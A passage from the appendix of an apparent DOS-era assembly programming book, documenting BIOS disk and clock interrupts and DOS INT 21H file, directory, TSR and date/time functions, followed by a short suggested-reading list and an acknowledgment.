Function 2 reads sectors from the specified disk at a given Track, Head and Sector number into a buffer in RAM. A successful read returns ah=0 and no carry flag. If there is an error, the carry flag is set and ah is used to return an error code. Note that no waiting time for motor startup is allowed, so if this function returns an error, it should be tried up to three times.

Function 3: Write Sectors to disk

Registers:     ah = 3 
               al = Number of sectors to write on same track, head 
               cl = Sector number to start writing from 
               ch = Track number to write 
               dh = Head number to write 
               dl = Drive number to write 
               es:bx = Buffer to write sectors from
Returns:       c = set on error 
               ah = Error code (as above)

This function works just like the read, except sectors are written to disk from the specified buffer

Function 5: Format Sectors

Registers:     ah = 5 
               al = Number of sectors to format on this track, head 
               cl = Not used 
               ch = Track number to format 
               dh = Head number to format 
               dl = Drive number to format 
               es:bx = Buffer for special format information
Returns:       c = set on error 
               ah = Error code (as above)

The buffer at es:bx should contain 4 bytes for each sector to be formatted on the disk. These are the address fields which the disk controller uses to locate the sectors during read/write operations. The four bytes should be organized as C,H,R,N;C,H,R,N, etc., where C=Track number, H=Head number, R=Sector number, N=Bytes per sector, where 0=128, 1=256, 2=512, 3=1024.

Interrupt 1AH: BIOS Time of Day Services

Function 0: Read Current Clock Setting

Registers:    ah = 0
Returns:      cx = High portion of clock count 
              dx = Low portion of clock count 
              al = 0 if timer has not passed 24 hour count 
              al = 1 if timer has passed 24 hour count

The clock count returned by this function is the number of timer ticks since midnight. A tick occurrs every 1193180/65536 of a second, or about 18.2 times a second.

Interrupt 21H: DOS Services

Function 9: Print String to Standard Output

Registers:    ah = 9 
              ds:dx = Pointer to string to print 
Returns:      None

The character string at ds:dx is printed to the standard output device (which is usually the screen). The string must be terminated by a "$" character, and may contain carriage returns, line feeds, etc.

Function 1AH: Set Disk Transfer Area Address

Registers:    ah = 1AH 
              ds:dx = New disk transfer area address
Returns:      None

This function sets the Disk Transfer Area (DTA) address to the value given in ds:dx. It is meaningful only within the context of a given program. When the program is terminated, etc., its DTA goes away with it. The default DTA is at offset 80H in the Program Segment Prefix (PSP).

Function 2FH: Read Disk Transfer Area Address

Registers:     ah = 2FH
Returns:       es:bx = Pointer to the current DTA

This is the complement of function 1A. It reads the Disk Transfer Area address into the register pair es:bx.

Function 31H: Terminate and Stay Resident

Registers:     ah = 31H 
               al = Exit code 
               dx = Memory size to keep, in paragraphs
Returns:       (Does not return)

Function 31H causes a program to become memory resident (a TSR), remaining in memory and returning control to DOS. The exit code in al will be zero if the program is terminating successfully, and something else (programmer defined) to indicate that an error occurred. The register dx must contain the number of 16 byte paragraphs of memory that DOS should leave in memory when the program terminates. For example, if one wants to leave a 367 byte COM file in memory, one must save 367+256 bytes, or 39 paragraphs. (That doesn't leave room for a stack, either.)

Function 3DH: Open File

Registers:     ah = 3DH 
               ds:dx = Pointer to an ASCIIZ path/file name 
               al = Open mode
Returns:       c = set if open failed 
               ax = File handle, if open was successful 
               ax = Error code, if open failed

This function opens the file specified by the null terminated string at ds:dx, which may include a specific path. The value in al is broken out as follows:

              Bit 7: Inheritance flag, I. 
                   I=0 means the file is inherited by child processes
                   I=1 means it is private to the current process. 
              Bits 4-6: Sharing mode, S. 
                   S=0 is compatibility mode 
                   S=1 is exclusive mode 
                   S=2 is deny write mode 
                   S=3 is deny read mode
                   S=4 is deny none mode. 
              Bit 3: Reserved, should be 0 
              Bit 0-2: Access mode, A. 
                   A=0 is read mode 
                   A=1 is write mode 
                   A=2 is read/write mode 

In this book we are only concerned with the access mode. For more information on sharing, etc., see IBM's Disk Operating System Technical Reference or one of the other books cited in the references. The file handle returned by DOS when the open is successful may be any 16 bit number. It is unique to the file just opened, and used by all subsequent file operations to reference the file.

Function 3EH: Close File

Registers:    ah = 3EH 
              bx = File handle of file to close
Returns:      c = set if an error occurs closing the file
              ax = Error code in the event of an error

This closes a file opened by Function 3DH, simply by passing the file handle to DOS.

Function 3FH: Read from a File

Registers:    ah = 3FH 
              bx = File handle 
              cx = Number of bytes to read 
              ds:dx = Pointer to buffer to put file data in
Returns:      c = set if an error occurs 
              ax = Number of bytes read, if read is successful 
              ax = Error code in the event of an error

Function 3F reads cx bytes from the file referenced by handle bx into the buffer ds:dx. The data is read from the file starting at the current file pointer. The file pointer is initialized to zero when the file is opened, and updated every time a read or write is performed.

Function 40H: Write to a File

Registers:     ah = 40H 
               bx = File handle 
               cx = Number of bytes to write 
               ds:dx = Pointer to buffer to get file data from
Returns:       c = set if an error occurs 
               ax = Number of bytes written, if write is successful 
               ax = Error code in the event of an error

Function 40H writes cx bytes to the file referenced by handle bx from the buffer ds:dx. The data is written to the file starting at the current file pointer.

Function 41H: Delete File

Registers:     ah = 41H 
               ds:dx = Pointer to ASCIIZ string of path/file to delete
Returns:       c = set if an error occurs 
               ax = Error code in the event of an error

This function deletes a file from disk, as specified by the path and file name in the null terminated string at ds:dx.

Function 42H: Move File Pointer

Registers:    ah = 42H 
              al = Method of moving the pointer 
              bx = File handle 
              cx:dx = Distance to move the pointer, in bytes
Returns:      c = set if there is an error 
              ax = Error code if there is an error 
              dx:ax = New file pointer value, if no error

Function 42H moves the file pointer in preparation for a read or write operation. The number in cx:dx is a 32 bit unsigned integer. The methods of moving the pointer are as follows: al=0 moves the pointer relative to the beginning of the file, al=1 moves the pointer relative to the current location, al=2 moves the pointer relative to the end of the file.

Function 43H: Get and Set File Attributes

Registers:    ah = 43H 
              al = 0 to get attributes, 1 to set them 
              cl = File attributes, for set function 
              ds:dx = Pointer to an ASCIIZ path/file name
Returns:      c = set if an error occurs 
              ax = Error code when an error occurs 
              cl = File attribute, for get function

The file should not be open when you get/set attributes. The bits in cl correspond to the following attributes:

              Bit 0 - Read Only attribute 
              Bit 1 - Hidden attrubute 
              Bit 2 - System attribute 
              Bit 3 - Volume Label attribute 
              Bit 4 - Subdirectory attribute 
              Bit 5 - Archive attribute
              Bit 6 and 7 - Not used

Function 47H: Get Current Directory

Registers:     ah = 47H 
               dl = Drive number, 0=Default, 1=A, 2=B, etc. 
               ds:si = Pointer to buffer to put directory path name in
Returns:       c = set if an error occurs 
               ax = Error code when an error occurs

The path name is stored in the data area at ds:si as an ASCIIZ null terminated string. This string may be up to 64 bytes long, so one should normally allocate that much space for this buffer.

Function 4EH: Find First File Search

Registers:     ah = 4EH 
               cl = File attribute to use in the search 
               ds:dx = Pointer to an ASCIIZ path/file name
Returns:       ax = Error code when an error occurs, or 0 if no error

The ASCIIZ string at ds:dx may contain the wildcards * and ?. For example, "c:\dos\*.com" would be a valid string. This function will return with an error if it cannot find a file. No errors indicate that the search was successful. When successful, DOS formats a 43 byte block of data in the current DTA which is used both to identify the file found, and to pass to the Find Next function, to tell it where to continue the search from. The data in the DTA is formatted as follows:

Byte Size Description
0 21 Reserved for DOS Find Next
21 1 Attribute of file found
22 2 Time on file found
24 2 Date on file found
26 4 Size of file found, in bytes
30 13 File name of file found

The attribute is used in a strange way for this function. If any of the Hidden, System, or Directory attributes are set when Find Next is called, DOS will search for any normal file, as well as any with the specified attributes. Archive and Read Only attributes are ignored by the search altogether. If the Volume Label attribute is specified, the search will look only for files with that attribute set.

Function 4FH: Find Next File Search

Registers:    ah = 4FH
Returns:      ax = 0 if successful, otherwise an error code

This function continues the search begun by Function 4E. It relies on the information in the DTA, which should not be disturbed between one call and the next. This function also modifies the DTA data block to reflect the next file found. In programming, one often uses this function in a loop until ax=18, indicating the normal end of the search.

Function 57H: Get/Set File Date and Time

Registers:    ah = 57H 
              al = 0 to get the date/time
              al = 1 to set the date/time 
              bx = File Handle 
              cx = 2048*Hour + 32*Minute + Second/2 for set
              dx = 512*(Year-1980) + 32*Month + Day for set
Returns:      c = set if an error occurs 
              ax = Error code in the event of an error 
              cx = 2048*Hour + 32*Minute + Second/2 for get
              dx = 512*(Year-1980) + 32*Month + Day for get

This function gets or sets the date/time information for an open file. This information is normally generated from the system clock date and time when a file is created or modified, but the programmer can use this function to modify the date/time at will.

Appendix H: Suggested Reading

Inside the PC

Assembly Language Programming

Viruses, etc.


I would like to publicly thank Mr. David Stang for some valuable suggestions on how to improve this book, and for pointing out some errors in the first printing.

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